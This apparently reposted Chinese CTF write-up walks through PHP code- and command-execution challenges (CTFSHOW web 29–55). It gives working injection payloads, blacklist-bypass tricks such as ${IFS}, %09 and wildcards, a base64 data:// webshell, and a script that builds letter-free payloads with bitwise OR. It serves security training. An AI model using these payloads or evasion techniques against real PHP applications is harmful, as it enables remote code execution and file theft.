编程语言
首页 > 编程语言> > PHP中的命令执行与代码执行

PHP中的命令执行与代码执行

作者:互联网


title: PHP中的命令执行与代码执行
data: 2021-09-15
tags: CTF-web


PHP中的命令执行与代码执行

最近在复习之前学过得知识点。因为之前是0基础来学习的,所以很多东西可能是没有弄懂的。现在重新回顾一下命令执行这一块。学到了不少的知识。

然后题目的话全都是来源于CTFSHOW的web入门。

对我这种新手来说真是太友好了!

命令执行与代码执行

在PHP中我们首先要搞清楚什么是代码执行,什么是命令执行。

通俗一点讲,代码执行是执行PHP代码。命令执行是执行linux系统下的命令。

这两者是有区别的。有些代码在php下看起来是有错的,但是在linux下是正确的。

在下面的文章里遇到了再分析。

常见的代码执行函数

在PHP中,允许我们自行传入php代码并执行。一般我们常用的有以下几种:

1.eval($string):
    把参数中的字符串当做php代码执行。该字符串必须是合法的代码,且必须以分号结尾。
    这里强调了合法代码和分号结尾。
    我们可以理解为eval()执行了一个相当于为$string添加php短标签的功能即 <?php $string 
    当不能使用分号时,可以利用?>来代替。因为php语法中,最后一句php代码可以不闭合。
    #这里需要格外指出,eval()是一个语言构造器而不是一个函数,不能被可变函数调用。
-------------------------------------------------------------------------------------------------------------------
2.assert($assertion):
    如果assertion是字符串,那么将会被assert()当作php代码执行。且可以不以分号结尾。
    #在PHP7以前assert是作为函数。PHP7以后,assert与eval一样。都是语言构造器。这个知识点可能会出现在$_POST[1]($_POST[2])中
    
-------------------------------------------------------------------------------------------------------------------
3.call_user_func($func,$string):
	该函数用于函数调用。我们第一个参数作为调用函数,第二个作为回调函数的参数。算不上代码执行。只能说是一个危险函数。
    

常见的命令执行函数:

在PHP中,允许我们执行系统程序命令。一般有以下函数:

1.system():
	执行一个外部程序命令,并且输出执行结果,返回最后一行。
	#这里理解一下输出执行结果,返回最后一行。是指先将命令执行的结果打印出来,然后再将最后一行作为返回值。
	#可以理解为它函数内部存在一个 print($result);return last->result;这样子。
	#如果命令中需要用空格分开的话,就需要对执行的命令加上引号。
-------------------------------------------------------------------------------------------------------------------
2.exec():
	执行一个外部程序。并返回执行结果最后一行的内容。
 	#这里只返回执行结果的最后一行内容。不会有输出打印。
-------------------------------------------------------------------------------------------------------------------
3.passthru():
	执行外部程序并且显示原始输出
-------------------------------------------------------------------------------------------------------------------
4.shell_exec():该函数等价于 ` `
	通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
	#该函数不会显示执行结果。需要加echo才会打印输出结果。``是shell_exec()的简化形式。实际是同一个函数。
-------------------------------------------------------------------------------------------------------------------
        

linux中用于打开文件的函数:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看

某些常用的绕过姿势:

空格的绕过:
        1.%09
        2.重定向 <>
        3.${IFS}
        4./**/ 注释符
某些字符串被过滤:
        1.cat--> ca\t
        2.flag-->fl\ag-->fla''g
        3.f*-->fla?????

CTFSHOW 命令执行

web 29:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

#payload:?c=system(cat f*);

没什么好说的。过滤了flag.但是随便绕。举个栗子。

在linux系统中:
    ca\t f''lag.php == cat flag.php
    ca\t f\lag.php == cat flag.php
    没什么好说的

image-20210916205302694

web 30:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
#payload:?c=passthru('cat f*');

过滤了system,用passthru代替。

web 31:空格过滤

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
#payload:?c=passthru('more%09f*');

空格被过滤了。使用%09代替。也可以使用

web 32-35:分号过滤

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
#payload:?c=include"$_GET[1]"?>&1=php://filter/convert.base64-encode/resource=flag.php
### web 33:过滤了单双引号
#payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
### web 34:过滤了:
#payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
### web 35:
#payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
### web 36:过滤了数字
#payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

本题因为分号被过滤了。因此我们采用?>闭合。并且php中有许多不用括号的函数。因此这里我们利用这个include并结合文件包含的漏洞

web 37,38:文件包含

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
#payload:
	GET:?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4=
	POST:1=system("cat flag.php");

很明显的文件包含执行PHP代码。因为过滤了flag因此我们不能使用filter协议。

那么采用data协议写马。

web 39:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}
#payload:?c=data://text/plain;base64,<?php system("cat f*")?>

这里在c后面添加了.php但是我们的代码中已经闭合。有没有这个.php影响都不大

web 40:无参RCE

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
#payload:?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
Localeconv()返回包含本地数字及货币格式信息的数组该函数的第一个值就是"."
Cuurent()返回数组中当前元素的值
Next()指针指向下一个元素并且输出
Array_reverse()以相反的顺序返回数组
Print_r()打印变量
Higlight_file高亮显示文件,没什么好说的
Show_source跟highlight_file一样的效果。
Array_reverse倒序数组
Array_rand随机取出数组中的一个或多个单元
Array_filp交换数组的键和值
Readfile读文件
sessionid()返回当前会话ID
scandir(directory,sorting_order,context)以数组形式返回文件和目录第一个参数是目录,第二个是排序方式
pos取第一个值

web 41:无字母数字webshell之 或 构造

这题没什么好说的。ban了异或和取反。留了或。那么利用或构造即可.

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>
#payload:c='');('%13%19%13%14%05%0D'|'%60%60%60%60%60%60')(('%03%01%14'|'%60%60%60').' '.('%06%0C%01%07%02%10%08%10'|'%60%60%60%60%2C%60%60%60'));//

首先我们需要拼接这个$c,进而完成php语句的构建。先拼接一个echo (’ ');shell;//);

再把中间的shell换成我们的构造的system(‘cat flag.php’)

这里需要注意的是用 . 连接就转成了字符串。就不用我们额外构造了。

贴个大佬的构造脚本

<?php
$payload = 'flag.php';//待构造的字母
$length = strlen($payload);
$a = '';
$b = '';
$flag = 0;
echo '<br>';
for ($l = 0; $l < $length; $l++) {
    $flag=0;
    for ($i = 1; $i < 256; $i++) {
        if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($i))) continue;
        for ($j = 1; $j < 256; $j++) {
            if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($j))) continue;
            if ((chr($i) | chr($j)) === $payload[$l]) {
                echo urlencode(chr($i));
                $a=$a.urlencode(chr($i));
                echo '|';
                echo urlencode(chr($j));
                $b=$b.urlencode(chr($j));
                echo '=' . $payload[$l];
                echo "<br>";
                $flag=1;
                break;
            }
        }
        if($flag===1){
            break;
        }
    }
}

echo $a.'|'.$b;

web 42:取消回显

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}
#payload:?c=cat flag.php;

>/dev/null 2>1&1 是没有回显的意思。既然这样我们直接将语句分割开即可。

在Linux中有以下可用于分割语句:

; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

也可以利用php的%0a进行换行处理。

web 43~52:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
#payload:?c=nl flag.php||
### web 44:多过滤了flag
#payload:?c=nl fla\g.php||
### web 45:多过滤了空格,用%09绕过
#payload:?c=nl%09fla\g.php||
### web 46:多过滤了$,数字,*
#payload:?c=nl<fla\g.php||
### web 47:多过滤了几个more tac
#payload:?c=nl<fla\g.php||
### web 48:多过滤了awk,sed,cut,od,curl
#payload:?c=nl<fla\g.php||
### web 49:通杀了
#payload:?c=nl<fla\g.php||
### web 50:通杀了
#payload:?c=nl<fla\g.php||
### web 51:
#payload:?c=nl<fla\g.php||
### web 52:多过滤重定向了,换个姿势。
#payload:?c=nl${IFS}fla\g.php||

web 53:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}
#payload:?c=nl${IFS}fla\g.php

刚刚还在拿上一题的打,突然发现换题目了。换了,但没完全换。把||去掉就出flag了。

我自己试了试。发现 || 使用的过程中必须存在前两两条命令。问题不大

web 54:ban了很多

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
#payload:?c=vi${IFS}????????

这题ban了太多了。且不允许我们拼接了。但是问题不大。我们还有vim,vi,uniq.

web 55:匹配符的妙用

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

可以看到这里没有过滤空格。但是ban了字母分号反单引号,重定向。主要是没了字母我们无法构造命令了。

这里学学姿势吧.

姿势一:首先我们了解下bin目录下会存放我们可以使用的命令。既然没有了字母,我们找一些带数字的命令执行

#payload1:?c=/???/????64 ????????  --->匹配后是:?c=/bin/base64 flag.php 

姿势二:/usr/bin目录下有一个bzip2压缩命令。与一些应用软件工具的必备执行档。

#payload2:?c=/???/???/????2 ???????? --->匹配后是:?c=/usr/bin/bzip2 flag.php 会生成一个flag.php.bz2的文件
#之后访问这个文件即可

姿势三:无字母数字的webshell提高篇(P神)

标签:__,web,php,leak,命令,flag,代码执行,PHP,payload
来源: https://blog.csdn.net/qq_51754713/article/details/120606306